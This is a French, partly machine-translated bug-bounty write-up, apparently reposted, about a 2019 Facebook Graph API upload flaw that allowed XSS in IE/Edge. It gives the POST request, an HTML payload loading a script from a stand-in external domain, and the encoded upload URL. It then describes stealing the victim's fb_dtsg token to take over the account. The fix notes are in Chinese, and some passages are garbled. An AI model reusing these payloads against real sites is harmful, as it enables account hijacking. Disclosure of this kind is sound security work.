Vulnérabilité
Cette vulnérabilité n'est valable que dans les navigateurs IE et Edge. La cause de la vulnérabilité réside dans certains points de terminaison d'API dans graph.facebook.com
. , des mesures d'échappement complètes et sûres ne sont pas mises en œuvre lors du traitement des réponses du code HTML. Le message de réponse est au format JSON, le code HTML est inclus comme valeur de l'un des champs et le message de réponse n'est pas accompagné d'un en-tête Content-Type ou X-Content-Type-Options, j'ai donc la possibilité de utiliser IE/Edge Le code de construction est exécuté.
(Ces deux types de navigateurs analysent la page entière pour déterminer le type de fichier MIME, tandis que d'autres navigateurs ne vérifient que les premiers caractères).
Récurrence de la vulnérabilité
1. Tout d'abord, nous envoyons une requête POST dans la méthode de téléchargement suivante :
POST /app/uploadsHost: graph.facebook.com access_token=ACCESS_TOKEN&file_length=100&file_type=PAYLOAD
où ACCESS_TOKEN
est généré par Facebook. pour un jeton d'accès utilisateur valide généré par l'application propriétaire d'Android, et PAYLOAD est le code HTML que nous souhaitons insérer pour inciter ensuite la victime à s'exécuter dans le navigateur. Lorsque la demande est soumise, le serveur distant renverra une valeur similaire à la suivante, qui contient un identifiant de session qui sera utilisé ultérieurement (veuillez vous référer aux instructions officielles de Facebook pour plus de détails) :
{"id": "upload:MTphdHRhY2htZW50Ojlk2mJiZxUwLWV6MDUtNDIwMy05yTA3LWQ4ZDPmZGFkNTM0NT8=?sig=ARZqkGCA_uQMxC8nHKI"}
Après le test, il a été constaté que dans le message de réponse, il n'y a aucune restriction de politique de sécurité du contenu (CSP), j'ai donc réfléchi à la possibilité d'utiliser un fichier js contenant des liens externes pour insérer du code HTML, par exemple :
<html><body><script src=//DOMAIN.com/script.js ></script></body></html>
2. Le La demande de téléchargement ici est effectuée par le traitement d'encodage Base64 du backend Facebook, l'affichage de retour est le suivant, qui contient la charge utile que nous avons spécialement implantée :
upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD0wJmZpbGVfdHlwZT08aHRtbD48 Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?sig=ARaCDqLfwoeI8V3s
Par conséquent, après avoir utilisé cette chaîne d'encodage, il y aura la requête suivante, qui peut être utilisé pour lancer une requête POST sur Facebook :
https://graph.facebook.com/upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD 0wJmZpbGVfdHlwZT08aHRtbD48Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?s ig=ARaCDqLfwoeI8V3s
3 À partir de là, en utilisant la chaîne de requête ci-dessus, j'ai ajouté le jeton d'accès valide que j'ai généré à l'étape 1, j'ai construit une page Web HTML et je l'ai inséré. mon site Web :
Cette page contient un style de soumission, et le message de réponse après les visites des victimes est le suivant :
{“h”:”2::<html><body><script src=//DOMAIN.com/script.js ></script></body></html>:GVo0nVVSEBm2kCDZXKFCdFSlCSZjbugb AAAP:e:1571103112:REDACATED:REDACATED:ARCvdJWLVDpBjUAZzrg”}
Il est important de noter que le fichier de script dans https://DOMAIN.com/script.js
m'aidera à voler le jeton CSRF « fb_dtsg » de la victime et pourra envoyer une demande contraignante à https://www.facebook.com/api/graphql/
pour ajouter un numéro de téléphone mobile ou une adresse e-mail afin de réaliser un piratage indirect du compte de la victime.
Réparation de vulnérabilités
1、在file_type参数中加入对HTML代码处理的安全转义措施; 2、给每个响应中加入“Content-type: application/json” 头避免进一步的攻击。 漏洞上报及处理进程 2019.10.10 漏洞初报 2019.10.10 Facebook确认 2019.10.11 Facebook修复 2019.10.24 Facebook奖励5000$
Articles et tutoriels connexes recommandés : Tutoriel sur la sécurité des sites Web
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!